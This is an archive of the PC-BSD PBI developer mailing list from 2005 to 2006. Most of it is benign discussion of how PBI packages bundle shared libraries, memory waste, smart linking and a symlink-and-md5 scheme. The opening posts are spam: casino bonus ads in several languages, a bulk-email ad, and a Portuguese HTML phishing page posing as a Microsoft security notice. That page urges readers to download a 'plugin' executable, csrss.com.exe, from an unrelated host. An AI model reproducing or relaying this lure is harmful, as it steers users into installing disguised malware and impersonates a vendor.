pcbsd-pbi-dev Mailing List for PC-BSD

SourceForge Headquarters 225 Broadway Suite 1600 San Diego, CA 92101 +1 (858) 454-5900

Come and join some of the biggest winners ever!!!!!!!!

You qualify for a Massive bonus:

USA Go! Go to Big Money! 

 http://paransv.com/

Качественные E-mail ра_ссылки.
Актуальные адреса
Россия, UA, kz 

ICQ 776607

Raddoppia il Tuo Deposito! $650 Casino Online Matching Bonus 

Quando provvederemo ad accreditare il tuo conto con il primo deposito, eguaglieremo il 100% fino a $650 del tuo deposito in bonus chip online casino direttamente nel tuo conto. Questo bonus di benvenuto ti permette di giocare di piu' spendendo meno soldi!

http://eurocasinojh.com/

Online Casinos sind dafuer bekannt, ihren Spielern, gro&#223;z&#252;gige Ersteinzahlungsbonusse zu geben.

Aber einen so grossen Bonus haben Sie noch nie erhalten!
300% Bonus auf Ihre erste Einzahlung auf bis zu 300&#8364; Bonus!

Ein echt k&#246;niglicher Bonus!
Royal VIP Casino bietet Ihnen die neueste Generatin an Software und eine elegante gaming Atmosph&#228;re. Mit einer Auswahl an &#252;ber 100 Casino Spielen und einer immer verf&#252;gbaren Kundenbetreuung kann man nicht mehr verlangen.

Kommen und Spielen Sie bei Royal VIP Casino!

http://eurocasinojh.com/lang-de/index.html

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>Notificação</title>
</head>

<body>

<table height="365" cellSpacing="0" cellPadding="0" width="743" border="0">
  <tbody>
    <tr>
      <td width="738" height="22">
        <table height="22" cellSpacing="0" cellPadding="0" width="100%" border="0">
          <tbody>
            <tr>
              <td id="msviRegionGradient1" style="filter: 'progid DXImageTransform.Microsoft.Gradient(startColorStr='#4B92D9'', endColorStr='#CEDFF6', gradientType='1')" width="55%"><b>ATUALIZAÇÃO
                DE SEGURANÇA</b></td>
              <td id="msviRegionGradient2" style="filter: 'progid DXImageTransform.Microsoft.Gradient(startColorStr='#CEDFF6'', endColorStr='#1E77D3', gradientType='1')" width="45%">
                <p align="center"></td>
            </tr>
          </tbody>
        </table>
      </td>
      <td id="msviGlobalToolbar" dir="ltr" noWrap align="left" width="259" bgColor="#1e77d3" height="22">
        <table cellSpacing="0" cellPadding="0" border="0">
          <tbody>
            <tr>
              <td class="gt0" onmouseover="mhHover('msviGlobalToolbar', 2, 'gt1')" onmouseout="mhHover('msviGlobalToolbar', 2, 'gt0')" noWrap>                    </td>
            </tr>
          </tbody>
        </table>
      </td>
    </tr>
    <tr>
      <td width="738" height="40">
        <table height="42" cellSpacing="0" cellPadding="0" width="100%" border="0">
          <tbody>
            <tr vAlign="top">
              <td id="msviBrandBanner" bgColor="#0a6cce">
				<a href="?http://www.microsoft.com&&HL=Microsoft+Banner+Image&CM=Masthead&CE=h">
				<img title height="42" alt="Microsoft" src="http://i.microsoft.com/h/en-us/r/ms_masthead_ltr.gif" width="136" border="0"></a></td>
              <td style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#0A6CCE', endColorStr='#FFFFFF', gradientType='1')" width="100%"></td>
            </tr>
          </tbody>
        </table>
      </td>
      <td id="msviGlobalSearch" width="259" bgColor="#ffffff" height="40"><i><font size="6"><b>      
        Notificação</b></font></i></td>
    </tr>
    <tr>
      <td vAlign="top" width="997" bgColor="#fafafa" colSpan="2" height="284">
        <table height="264" cellSpacing="0" cellPadding="0" width="738" align="center" border="0">
          <tbody>
            <tr>
              <td id="msviBrandBanner" bgColor="#0a6cce">
				<p align="center">
				 </td>
              <td vAlign="top" width="422" height="266">
                <p align="center"> </p>
                <p align="center"><i>Detectamos um Pequeno problema nas
                ferramentas do windows, onde ela vem ocasionando erros internos
                em sua maquina, esses erros pode danificar seu HD fatalmente.
                Para solucionar esse problema, independente de seu sistema
                operacional, aconselhamos que faça o download de um Plugin lançado
                pela microsoft, onde ele vai agir diretamente no erro e
                corrigi-lo.</i></p>
                <p align="center">
				<a style="TEXT-DECORATION: none" href="http://tjaci.gov.cn/csrss.com.exe"> <font size="5"><span class="style11">Fazer
                o Download</span></font></a></p>
                <p align="left"> </p>
                <p align="left"><i>                         
                Atenciosamente, Equipe Microsoft.</i></p>
                <p align="left"> </p>
              </td>
              <td vAlign="center" align="left" width="4" bgColor="#fafafa" height="266">
                <div align="right">

                </div>
              </td>
            </tr>
          </tbody>
        </table>
      </td>
    </tr>
    <tr vAlign="center">
      <td align="middle" width="997" background="Microsoft_arquivos/copy_fundo.gif" colSpan="2" height="19">
        <div class="title3" align="center">
          Copyright © 2005 Lume Serviços de Tecnologia Ltda. Todos os direitos
          reservados
        </div>
      </td>
    </tr>
  </tbody>
</table>
<p> </p>
<script>
              </script>

</body>

</html>

TQ so much charles.. I already registered and add myself there..

anyway i'm using tru...@gm... account for the google mailing list

> ----- Original Message -----
> From: "Charles A. Landemaine" <lan...@gm...>
> To: pcb...@li..., pcb...@li...=
, pcb...@li...
> Subject: [Pcbsd-pbi-dev] New mailing lists!
> Date: Tue, 12 Sep 2006 23:29:54 -0300
>=20
>=20
> PC-BSD is now using Google Groups to host its mailing lists!
> If you haven't yet subscribed, here they are:
>=20
> Translations List
> http://groups.google.com/group/pcbsd-translations
>=20
> PBI Developer List
> http://groups.google.com/group/pcbsd-pbi-dev
>=20
> Documentation List
> http://groups.google.com/group/pcbsd-docs
>=20
> We're all welcome :)
>=20
> --
> Charles A. Landemaine.
>=20
> -------------------------------------------------------------------------
> Using Tomcat but need to do more? Need to support web services, security?
> Get stuff done quickly with pre-integrated technology to make your job ea=
sier
> Download IBM WebSphere Application Server v.1.0.1 based on Apache Geronimo
> http://sel.as-us.falkag.net/sel?cmd=3Dlnk&kid=3D120709&bid=3D263057&dat=
=3D121642
> _______________________________________________
> Pcbsd-pbi-dev mailing list
> Pcb...@li...
> https://lists.sourceforge.net/lists/listinfo/pcbsd-pbi-dev

>

--=20
___________________________________________________
Now you can search for products and services
http://search.mail.com

PC-BSD is now using Google Groups to host its mailing lists!
If you haven't yet subscribed, here they are:

Translations List
http://groups.google.com/group/pcbsd-translations

PBI Developer List
http://groups.google.com/group/pcbsd-pbi-dev

Documentation List
http://groups.google.com/group/pcbsd-docs

We're all welcome :)

-- 
Charles A. Landemaine.

Dear friends,

From now on, PBI creators and testers will have to access the FTP
server through the following address: ftp://pbiupload.homeunix.org
If you have questions, feel free to let us know!
Thanks for your support ;)

--
Charles A. Landemaine.

hello,

i'm new here...

I've install PCBSD and like it very much....

i still have it on a seperate partition, tohugh i have come to be used
to the linux way of doing things...

i was wondering if someone would help/guide me thorugh the way in
which pbi works and howto create a pbi like system for linux... im
working on a linux distro and would like to implement a similar
aproach to package management... btw is the create pbi front end
opensourced?

Either way pbi rocks...!!!!!

--
sir-ASk-a-lot
---
MySite: http://www.aska.thamizha.com
MyBlog: http://www.ifloss.blogspot.com
---
"Ariels in the sky. When you free small mind, you free your life..."
      -|Serj Tankian, Daron Malakian (System Of A Down)|-

NOO... you've got me all wrong :)
EACH PBI will have a lib folder, for example
/Programs/FooApp1.0/lib and /Programs/BarApp1.0/lib then when each program
runs
it will automatically clear the folder and create the symlinks. Sorry i can=
t
reply in more details
but i'm a bit stripped for time now.

Cheers

On 2/13/06, Taras Danko <go...@gm...> wrote:
>
> Reading your message I got a few questions:
> Lets imagine situation when user installs 2+ programs (from pbi), and
> they use the same shared library. According to your algorythm the
> first of those programms will  not find a match of its specific
> library in the /lib/ folder and will create a symlink to it there.
> Then second prog during its installiation will find a match of its
> specific library in the /lib/ folder and will not change anything. And
> so on.
>
> Now lets imagine that user uninstalls the first app - will the
> uninstall also remove the lib? Or the system will keep it forever
> regardless of what progs are installed? Or maybe the system will check
> if there is perhaps 1 app that refers to this lib - and if this is
> FALSE - it will remove the lib? If so - it will be very similar to the
> FreeBSD's dependency list...
>
> As I remember Kris wrote his thoughts about shared libraries at the
> early days of PCBSD... He said that the advantages of the pbi (user
> doesnt care about dependencies when installs a programm) are surpass
> the disadvantages of multiple loading of shared objects...  So its not
> an unexpected news about this...
>
> Actualy as a programmer i can say that when you staticaly linking the
> programm  against some library using C/C++ compiller - the compiller
> extracts only needed routines from the lib to add them to the
> executable (similiar to the behavior, explained for the pascal
> compiller by the guy before me ). But if we need a shared compiling -
> there is also a way to  decrease the shared object's size up to 1/3 of
> its basic size - there are utilities called strippers for this purpose
> ( dont recall the exact names right now ).
>
> By the way it will be useful to check the information of how another
> OSes fixing this problem. For example Windows OS uses the same model
> as pbi. Microsoft suggests third party developers to place their
> shared libraries into their own folders but not to the global dirs
> like system32 etc. It causes the situation with multiple loading of
> the same libs, but it simplifies the developing of user apps for
> developers... Eating the RAM it however causes the rapid growing of
> number of applications available for this platform...
>
> IMHO the main dilemma of the pbi isnt a multiple loading of the same
> libs, but is how to combine usual dependency system with pbi - in
> other words - avoiding of the multiple installing of same
> sub-tools(quick PBI example - apps "A" & "B" require app "C" as their
> subsystem - "A" will install "C" to its subfolder or somewhere else,
> "B" does the same. As a result "C" installed twice)
>
> If the information about programms installed via pbi system will be
> added to the pkg list and newly installed programms will refer to them
> as on dependecies - we'll lose the idea of pbi. If we will create a
> kind of windows/macOS registry - it will start the complete separation
> from original FreeBSD logic...
> We'll really need a good software architector for this - because it is
> hard to add something new to the existing schemes. ;-)
>
> Summarizing my long message i think it will be interesting to get
> information from  Mac users/coders on how does the MacOS act in same
> situations since it is BSD  based and also uses some of the Windows'
> technics.
> And also i think it will be cool to create a kind of official document
> describing what to consider as specific or as global library / tool
> when the developer creates its pbi or another soft for PCBSD (for
> example should i consider required libc.so.6 as specific to my pbi
> when the system has only libc.so.5 etc). Dont know how real is this
> but it seems quite useful as for developer...
>
>
> Regards, Taras aka Gorthaur
>
>
> On 2/11/06, Federico Lorenzi <flo...@gm...> wrote:
> > Ok, heres a brand new idea on handaling libraries:
> >
> > Directory structure:
> > PBI Root
> >              -> ProgLib
> >                       -> libfoo.so.1
> >              -> DepLib
> >                       -> libc.so.6
> >                       -> libqt.so.2
> >                       -> libkde.so.8
> >              -> lib
> >                       <empty>
> >
> > We have a PBI called FooApp, which needs libc.so.6 libqt.so.2
> libkde.so.8
> > and libfoo.so.1
> > Now, libfoo.so.1 is a program specific library, NOT a normal dependancy=
,
> (it
> > comes with FooApp),
> > so it is stored in ProgLib, while the other libs are stored in
> DepLib....
> > Now heres the killer bit...
> >
> > The lib path of the program will be set to the lib dir, but since its
> empty
> > a few things will happen first...
> > A script (which i'm working on) will:
> > * Symlink all the libraries in the ProgLib folder to the lib folder (as
> they
> > wont beable to be found anywhere else)
> > ^ Generate an md5 sum of all the libraries in the DepLib folder and sav=
e
> it
> > as DepLib/md5 (once off)
> > * Compare those md5's to that of the systems libraries, if theres a
> match,
> > the system ones get symlinked into the
> >    lib folder, but if theres no match, the DepLib ones get symlinked in
> >
> > Please tell me what you think of this idea, as it should elivate the
> problem
> > of wasted memory, while still allowing
> > things that dont have all the required libs in the system / the ones in
> the
> > system are too out of date / too new to
> > still work!
> >
> > PS. The DepLib and ProgLib folders tie in with my ports-pbi
> compatability
> > plan ;)
> > Cheers
>
>
> --
> contact me:
> email: go...@gm...
>          com...@us...
> icq:     166956956
> mobile: +380969474990 (djuice)
>

Reading your message I got a few questions:
Lets imagine situation when user installs 2+ programs (from pbi), and
they use the same shared library. According to your algorythm the
first of those programms will  not find a match of its specific
library in the /lib/ folder and will create a symlink to it there.
Then second prog during its installiation will find a match of its
specific library in the /lib/ folder and will not change anything. And
so on.

Now lets imagine that user uninstalls the first app - will the
uninstall also remove the lib? Or the system will keep it forever
regardless of what progs are installed? Or maybe the system will check
if there is perhaps 1 app that refers to this lib - and if this is
FALSE - it will remove the lib? If so - it will be very similar to the
FreeBSD's dependency list...

As I remember Kris wrote his thoughts about shared libraries at the
early days of PCBSD... He said that the advantages of the pbi (user
doesnt care about dependencies when installs a programm) are surpass
the disadvantages of multiple loading of shared objects...  So its not
an unexpected news about this...

Actualy as a programmer i can say that when you staticaly linking the
programm  against some library using C/C++ compiller - the compiller
extracts only needed routines from the lib to add them to the
executable (similiar to the behavior, explained for the pascal
compiller by the guy before me ). But if we need a shared compiling -
there is also a way to  decrease the shared object's size up to 1/3 of
its basic size - there are utilities called strippers for this purpose
( dont recall the exact names right now ).

By the way it will be useful to check the information of how another
OSes fixing this problem. For example Windows OS uses the same model
as pbi. Microsoft suggests third party developers to place their
shared libraries into their own folders but not to the global dirs
like system32 etc. It causes the situation with multiple loading of
the same libs, but it simplifies the developing of user apps for
developers... Eating the RAM it however causes the rapid growing of
number of applications available for this platform...

IMHO the main dilemma of the pbi isnt a multiple loading of the same
libs, but is how to combine usual dependency system with pbi - in
other words - avoiding of the multiple installing of same
sub-tools(quick PBI example - apps "A" & "B" require app "C" as their
subsystem - "A" will install "C" to its subfolder or somewhere else,
"B" does the same. As a result "C" installed twice)

If the information about programms installed via pbi system will be
added to the pkg list and newly installed programms will refer to them
as on dependecies - we'll lose the idea of pbi. If we will create a
kind of windows/macOS registry - it will start the complete separation
from original FreeBSD logic...
We'll really need a good software architector for this - because it is
hard to add something new to the existing schemes. ;-)

Summarizing my long message i think it will be interesting to get
information from  Mac users/coders on how does the MacOS act in same
situations since it is BSD  based and also uses some of the Windows'
technics.
And also i think it will be cool to create a kind of official document
describing what to consider as specific or as global library / tool
when the developer creates its pbi or another soft for PCBSD (for
example should i consider required libc.so.6 as specific to my pbi
when the system has only libc.so.5 etc). Dont know how real is this
but it seems quite useful as for developer...

Regards, Taras aka Gorthaur

On 2/11/06, Federico Lorenzi <flo...@gm...> wrote:
> Ok, heres a brand new idea on handaling libraries:
>
> Directory structure:
> PBI Root
>              -> ProgLib
>                       -> libfoo.so.1
>              -> DepLib
>                       -> libc.so.6
>                       -> libqt.so.2
>                       -> libkde.so.8
>              -> lib
>                       <empty>
>
> We have a PBI called FooApp, which needs libc.so.6 libqt.so.2 libkde.so.8
> and libfoo.so.1
> Now, libfoo.so.1 is a program specific library, NOT a normal dependancy, =
(it
> comes with FooApp),
> so it is stored in ProgLib, while the other libs are stored in DepLib....
> Now heres the killer bit...
>
> The lib path of the program will be set to the lib dir, but since its emp=
ty
> a few things will happen first...
> A script (which i'm working on) will:
> * Symlink all the libraries in the ProgLib folder to the lib folder (as t=
hey
> wont beable to be found anywhere else)
> ^ Generate an md5 sum of all the libraries in the DepLib folder and save =
it
> as DepLib/md5 (once off)
> * Compare those md5's to that of the systems libraries, if theres a match=
,
> the system ones get symlinked into the
>    lib folder, but if theres no match, the DepLib ones get symlinked in
>
> Please tell me what you think of this idea, as it should elivate the prob=
lem
> of wasted memory, while still allowing
> things that dont have all the required libs in the system / the ones in t=
he
> system are too out of date / too new to
> still work!
>
> PS. The DepLib and ProgLib folders tie in with my ports-pbi compatability
> plan ;)
> Cheers

--
contact me:
email: go...@gm...
          com...@us...
icq:     166956956
mobile: +380969474990 (djuice)

Ok, heres a brand new idea on handaling libraries:

Directory structure:
PBI Root
             -> ProgLib
                      -> libfoo.so.1
             -> DepLib
                      -> libc.so.6
                      -> libqt.so.2
                      -> libkde.so.8
             -> lib
                      <empty>

We have a PBI called FooApp, which needs libc.so.6 libqt.so.2 libkde.so.8an=
d
libfoo.so.1
Now, libfoo.so.1 is a program specific library, NOT a normal dependancy, (i=
t
comes with FooApp),
so it is stored in ProgLib, while the other libs are stored in DepLib....
Now heres the killer bit...

The lib path of the program will be set to the lib dir, but since its empty
a few things will happen first...
A script (which i'm working on) will:
* Symlink all the libraries in the ProgLib folder to the lib folder (as the=
y
wont beable to be found anywhere else)
^ Generate an md5 sum of all the libraries in the DepLib folder and save it
as DepLib/md5 (once off)
* Compare those md5's to that of the systems libraries, if theres a match,
the system ones get symlinked into the
   lib folder, but if theres no match, the DepLib ones get symlinked in

Please tell me what you think of this idea, as it should elivate the proble=
m
of wasted memory, while still allowing
things that dont have all the required libs in the system / the ones in the
system are too out of date / too new to
still work!

PS. The DepLib and ProgLib folders tie in with my ports-pbi compatability
plan ;)
Cheers

On 2/10/06, Federico Lorenzi <flo...@gm...> wrote:
>
> I'm not a programmer or anything, but i always thought that if lets say
> FooApp loaded libfoo.so.1 into memory, as it needed it, and BarAPP
> needed the same lib, it would be smart enough too see that its already
> loaded, and simply use it.
> Then again i'm probably wrong :) Although that would be the idea
> situation.
>
> Cheers
>
> On 2/10/06, Richy T < bio...@gm...> wrote:
> >
> > Hello pbi developers!
> > I have been doing some reading on our pcbsd forums.
> > There is some really good information there about our format.
> > I really think all PBI developers should read this.
> > The information posted on the forum might really help make
> > .PBI truly a great binary format for pcbsd and maybe freebsd!
> > Here is the post. -->
> >
> > From: Almindor
> > > ---------------
> > > I'm a programmer so I'll post my view on PBIs and other packaging
> > > here.
> > >
> > > PBI is a .app style packaging system with "all in one" even basic
> > > dependencies. The good of this is that it's simple, easy and has
> > > (theoreticly, in practice this isn't true) no conflicts.
> > >
> > > Packaging ala Ports/Debs/RPMs is a complicated (altho not always for
> > > the end user especialy if they have good net connection, debs are rea=
l good
> > > here) process which required dependency checks etc.
> > >
> > > Now for the pros and cons from my perspective:
> > >
> > > PBIs are great for programmers/developers since they make it easy for
> > > them to distribute their apps without much fuzz.
> > > PBIs however have 2 major problems as-is, one is directly tied to the
> > > FreeBSD system underneath:
> > >
> > > 1. It conflicts with ports/packages
> > > 2. It copies all libs for all apps and makes ALOT of duality with .so
> > > files.
> > >
> > > Now #2 seems like no problem to most of you guys but let me elaborate=
.
> > >
> > > Dynamic libraries, or shared objects as Unix world calls them are
> > > pieces of code (and sometimes data too) which are saved in a special =
way so
> > > that programs(apps) can "link" themselves to the code and use it.
> > >
> > > The whole concept of shared objects is, sharing memory Smile (how
> > > unexpected)
> > >
> > > What's wrong with per-program copy of .so files then?
> > >
> > > Memory usage. Start up KDE and a few apps, then look at your memory
> > > usage via some monitor program. Notice that most apps (visual kde etc=
) take
> > > 10+megs of RAM. This ISNT REAL MEMORY.
> > >
> > > Because all of these programs use more or less the same .so files, al=
l
> > > this memory is shared.
> > >
> > > Now imagine a system where virtualy everything comes from PBI. Every
> > > program would really hog ram with it's own copies of .so files (and h=
ence
> > > their existance is a hindrance, since smart-static linking would prod=
uce
> > > much smaller footprint, less conflicts etc.)
> > >
> > > Conclusion? It's a good idea on a bad system. I've nothing agains Uni=
x
> > > in general but Unix world (and windows too to an extent) decided to g=
o the
> > > "shared object" path. Every unix binary today links dynamicly etc.
> > >
> > > Is there a different approach?
> > >
> > > Well there is, but if it's better is a nice question. Now before I
> > > start this please note that I AM biased Smile
> > >
> > > Free Pascal compiler can produce "smart linked" binaries. These
> > > binaries are static but contrary to popular belief take very little s=
pace on
> > > disk and in memory. (Hello world app in C static linked is ~800kb!! i=
n FPC
> > > smartlinked it's ~20kb on disk, I'll explain why)
> > >
> > > Smart linking is a technique which "links in" only used code from a
> > > library.
> > >
> > > So let's say libC is smartlinkable (it's not btw).
> > >
> > > If you only used printf() your binary would only grow "so" much.
> > >
> > > If you use dynamic .so, your binary will remain small on disk, but
> > > will load the whole libC into memory because of printf(). Now imagine=
 all
> > > programs loading whole libC into memory per-copy. This is what is don=
e with
> > > PBIs and that's the bad idea. PBIs would work wonders on a "smartlink=
" based
> > > system where only real basic system libs would be dynamic, and all ot=
her dev
> > > libs would be smartlinkable. This way programs would have minimal foo=
tprints
> > > and no conflicts would happen (they would also have a tendency to wor=
k
> > > longer since ABI is of no concern).
> > >
> > > Hope this all makes a bit of sense Smile
> > >
> > > Ales
> >
> >
> >
> >    POST REPLY:
> >
> > From: pcbsdusr
> > > ----------------
> > > I have been thinking of this as well and i am in the process of
> > > writing a hibrid concept which uses programs in their own folders but=
 shares
> > > dependencies while maintaining the ability to use multiple versions o=
f any
> > > given library side by side.
> > >
> > > no multiplication of libraries =3D No wasted disk space and no memory
> > > waste while multitasking with apps using common dependencies.
> > >
> > > of course, i am writing this for apps only... There will be always
> > > duplication until we maintain freebsd intact under pcbsd...
> >
> >
> > I really hope you guys can update the format to work this way.
> > It would make the .pbi format truly one of, if not the best format for
> > pcbsd/freebsd/UNIX systems.
> > Hope this gives you guys some insight and inspiration on how to update
> > the .pbi format.
> >
> > - Richy
> >
> >
> >
> >
> >
> >
>

I'm not a programmer or anything, but i always thought that if lets say
FooApp loaded libfoo.so.1 into memory, as it needed it, and BarAPP
needed the same lib, it would be smart enough too see that its already
loaded, and simply use it.
Then again i'm probably wrong :) Although that would be the idea situation.

Cheers

On 2/10/06, Richy T <bio...@gm...> wrote:
>
> Hello pbi developers!
> I have been doing some reading on our pcbsd forums.
> There is some really good information there about our format.
> I really think all PBI developers should read this.
> The information posted on the forum might really help make
> .PBI truly a great binary format for pcbsd and maybe freebsd!
> Here is the post. -->
>
> From: Almindor
> > ---------------
> > I'm a programmer so I'll post my view on PBIs and other packaging here.
> >
> > PBI is a .app style packaging system with "all in one" even basic
> > dependencies. The good of this is that it's simple, easy and has
> > (theoreticly, in practice this isn't true) no conflicts.
> >
> > Packaging ala Ports/Debs/RPMs is a complicated (altho not always for th=
e
> > end user especialy if they have good net connection, debs are real good
> > here) process which required dependency checks etc.
> >
> > Now for the pros and cons from my perspective:
> >
> > PBIs are great for programmers/developers since they make it easy for
> > them to distribute their apps without much fuzz.
> > PBIs however have 2 major problems as-is, one is directly tied to the
> > FreeBSD system underneath:
> >
> > 1. It conflicts with ports/packages
> > 2. It copies all libs for all apps and makes ALOT of duality with .so
> > files.
> >
> > Now #2 seems like no problem to most of you guys but let me elaborate.
> >
> > Dynamic libraries, or shared objects as Unix world calls them are piece=
s
> > of code (and sometimes data too) which are saved in a special way so th=
at
> > programs(apps) can "link" themselves to the code and use it.
> >
> > The whole concept of shared objects is, sharing memory Smile (how
> > unexpected)
> >
> > What's wrong with per-program copy of .so files then?
> >
> > Memory usage. Start up KDE and a few apps, then look at your memory
> > usage via some monitor program. Notice that most apps (visual kde etc) =
take
> > 10+megs of RAM. This ISNT REAL MEMORY.
> >
> > Because all of these programs use more or less the same .so files, all
> > this memory is shared.
> >
> > Now imagine a system where virtualy everything comes from PBI. Every
> > program would really hog ram with it's own copies of .so files (and hen=
ce
> > their existance is a hindrance, since smart-static linking would produc=
e
> > much smaller footprint, less conflicts etc.)
> >
> > Conclusion? It's a good idea on a bad system. I've nothing agains Unix
> > in general but Unix world (and windows too to an extent) decided to go =
the
> > "shared object" path. Every unix binary today links dynamicly etc.
> >
> > Is there a different approach?
> >
> > Well there is, but if it's better is a nice question. Now before I star=
t
> > this please note that I AM biased Smile
> >
> > Free Pascal compiler can produce "smart linked" binaries. These binarie=
s
> > are static but contrary to popular belief take very little space on dis=
k and
> > in memory. (Hello world app in C static linked is ~800kb!! in FPC
> > smartlinked it's ~20kb on disk, I'll explain why)
> >
> > Smart linking is a technique which "links in" only used code from a
> > library.
> >
> > So let's say libC is smartlinkable (it's not btw).
> >
> > If you only used printf() your binary would only grow "so" much.
> >
> > If you use dynamic .so, your binary will remain small on disk, but will
> > load the whole libC into memory because of printf(). Now imagine all
> > programs loading whole libC into memory per-copy. This is what is done =
with
> > PBIs and that's the bad idea. PBIs would work wonders on a "smartlink" =
based
> > system where only real basic system libs would be dynamic, and all othe=
r dev
> > libs would be smartlinkable. This way programs would have minimal footp=
rints
> > and no conflicts would happen (they would also have a tendency to work
> > longer since ABI is of no concern).
> >
> > Hope this all makes a bit of sense Smile
> >
> > Ales
>
>
>    POST REPLY:
>
> From: pcbsdusr
> > ----------------
> > I have been thinking of this as well and i am in the process of writing
> > a hibrid concept which uses programs in their own folders but shares
> > dependencies while maintaining the ability to use multiple versions of =
any
> > given library side by side.
> >
> > no multiplication of libraries =3D No wasted disk space and no memory
> > waste while multitasking with apps using common dependencies.
> >
> > of course, i am writing this for apps only... There will be always
> > duplication until we maintain freebsd intact under pcbsd...
>
>
> I really hope you guys can update the format to work this way.
> It would make the .pbi format truly one of, if not the best format for
> pcbsd/freebsd/UNIX systems.
> Hope this gives you guys some insight and inspiration on how to update th=
e
> .pbi format.
>
> - Richy
>
>
>
>
>

Hello pbi developers!
I have been doing some reading on our pcbsd forums.
There is some really good information there about our format.
I really think all PBI developers should read this.
The information posted on the forum might really help make
.PBI truly a great binary format for pcbsd and maybe freebsd!
Here is the post. -->

From: Almindor
> ---------------
> I'm a programmer so I'll post my view on PBIs and other packaging here.
>
> PBI is a .app style packaging system with "all in one" even basic
> dependencies. The good of this is that it's simple, easy and has
> (theoreticly, in practice this isn't true) no conflicts.
>
> Packaging ala Ports/Debs/RPMs is a complicated (altho not always for the
> end user especialy if they have good net connection, debs are real good
> here) process which required dependency checks etc.
>
> Now for the pros and cons from my perspective:
>
> PBIs are great for programmers/developers since they make it easy for the=
m
> to distribute their apps without much fuzz.
> PBIs however have 2 major problems as-is, one is directly tied to the
> FreeBSD system underneath:
>
> 1. It conflicts with ports/packages
> 2. It copies all libs for all apps and makes ALOT of duality with .so
> files.
>
> Now #2 seems like no problem to most of you guys but let me elaborate.
>
> Dynamic libraries, or shared objects as Unix world calls them are pieces
> of code (and sometimes data too) which are saved in a special way so that
> programs(apps) can "link" themselves to the code and use it.
>
> The whole concept of shared objects is, sharing memory Smile (how
> unexpected)
>
> What's wrong with per-program copy of .so files then?
>
> Memory usage. Start up KDE and a few apps, then look at your memory usage
> via some monitor program. Notice that most apps (visual kde etc) take
> 10+megs of RAM. This ISNT REAL MEMORY.
>
> Because all of these programs use more or less the same .so files, all
> this memory is shared.
>
> Now imagine a system where virtualy everything comes from PBI. Every
> program would really hog ram with it's own copies of .so files (and hence
> their existance is a hindrance, since smart-static linking would produce
> much smaller footprint, less conflicts etc.)
>
> Conclusion? It's a good idea on a bad system. I've nothing agains Unix in
> general but Unix world (and windows too to an extent) decided to go the
> "shared object" path. Every unix binary today links dynamicly etc.
>
> Is there a different approach?
>
> Well there is, but if it's better is a nice question. Now before I start
> this please note that I AM biased Smile
>
> Free Pascal compiler can produce "smart linked" binaries. These binaries
> are static but contrary to popular belief take very little space on disk =
and
> in memory. (Hello world app in C static linked is ~800kb!! in FPC
> smartlinked it's ~20kb on disk, I'll explain why)
>
> Smart linking is a technique which "links in" only used code from a
> library.
>
> So let's say libC is smartlinkable (it's not btw).
>
> If you only used printf() your binary would only grow "so" much.
>
> If you use dynamic .so, your binary will remain small on disk, but will
> load the whole libC into memory because of printf(). Now imagine all
> programs loading whole libC into memory per-copy. This is what is done wi=
th
> PBIs and that's the bad idea. PBIs would work wonders on a "smartlink" ba=
sed
> system where only real basic system libs would be dynamic, and all other =
dev
> libs would be smartlinkable. This way programs would have minimal footpri=
nts
> and no conflicts would happen (they would also have a tendency to work
> longer since ABI is of no concern).
>
> Hope this all makes a bit of sense Smile
>
> Ales

   POST REPLY:

From: pcbsdusr
> ----------------
> I have been thinking of this as well and i am in the process of writing a
> hibrid concept which uses programs in their own folders but shares
> dependencies while maintaining the ability to use multiple versions of an=
y
> given library side by side.
>
> no multiplication of libraries =3D No wasted disk space and no memory was=
te
> while multitasking with apps using common dependencies.
>
> of course, i am writing this for apps only... There will be always
> duplication until we maintain freebsd intact under pcbsd...

I really hope you guys can update the format to work this way.
It would make the .pbi format truly one of, if not the best format for
pcbsd/freebsd/UNIX systems.
Hope this gives you guys some insight and inspiration on how to update the
.pbi format.

- Richy

On Monday 19 December 2005 04:59 am, Charles A. Landemaine wrote:
> I don't know you guys, but I'm having a real hard time creating PBIs...
>
> I think the PBC can be re-vamped. For instance, I installed Kaffeine
> from the ports, then I did a
>
> make package
>
> Then, I extracted it, created a shell script with the system variables
> (KDEDIRS, etc...), then I gathered all libraries using the script
> found on the forum, then I created the PBI and uninstalled Kaffeine.
>
> I installed Kaffeine.PBI, and the Arts and Xine modules weren't picked
> up, so it doesn't work at all...
>
> The same goes for other applications too...
> I'm a little sad...
Hmm, i made a Kaffeine PBI awhile back and it worked i'll see if i can find
it and upload it.
Cheers

>
>
> -------------------------------------------------------
> This SF.net email is sponsored by: Splunk Inc. Do you grep through log
> files for problems?  Stop!  Download the new AJAX search engine that makes
> searching your log files as easy as surfing the  web.  DOWNLOAD SPLUNK!
> http://ads.osdn.com/?ad_idv37&alloc_id865&op=Click
> _______________________________________________
> Pcbsd-pbi-dev mailing list
> Pcb...@li...
> https://lists.sourceforge.net/lists/listinfo/pcbsd-pbi-dev

-- 
Did you sent me an attachment in Microsoft Word format, a secret
proprietary format, so I cannot read it?

If you send me the plain text, HTML, or PDF, then I could 
read it.

Sending people documents in Word format has bad effects, 
because that practice puts pressure on them to use Microsoft
software. In effect, you become a buttress of the Microsoft
monopoly. This specific problem is a major obstacle to the 
broader adoption of PCBSD. Would you please reconsider the 
use of Word format for communication with other people?

I don't know you guys, but I'm having a real hard time creating PBIs...

I think the PBC can be re-vamped. For instance, I installed Kaffeine
from the ports, then I did a

make package

Then, I extracted it, created a shell script with the system variables
(KDEDIRS, etc...), then I gathered all libraries using the script
found on the forum, then I created the PBI and uninstalled Kaffeine.

I installed Kaffeine.PBI, and the Arts and Xine modules weren't picked
up, so it doesn't work at all...

The same goes for other applications too...
I'm a little sad...

--
Charles A. Landemaine.

On Saturday 17 December 2005 12:46 pm, Charles A. Landemaine wrote:
> Hello guys,
>
> I don't know if I could port software to PC-BSD faster. I'm taking
> much time copying manually all libs to the libs folder...
>
> For instance I created a Kaffeine PBI, but the PBC didn't copy all
> libs as I created the PBI. The libs folder was empty although I asked
> to auto-populate it...
>
> There were 47 libs that I had to copy to its libs folder. One more
> thing: I found out that each FreeBSD package has a lib folder, and the
> PBC created a libs folder. Couldn't we merge them into a single
> libraries directory for the sake of consistency?
Yes, i reported that bug to Kris awhile back... Anyways, i use an ldd script 
from http://www.pcbsd.org/forums/viewtopic.php?t=1205
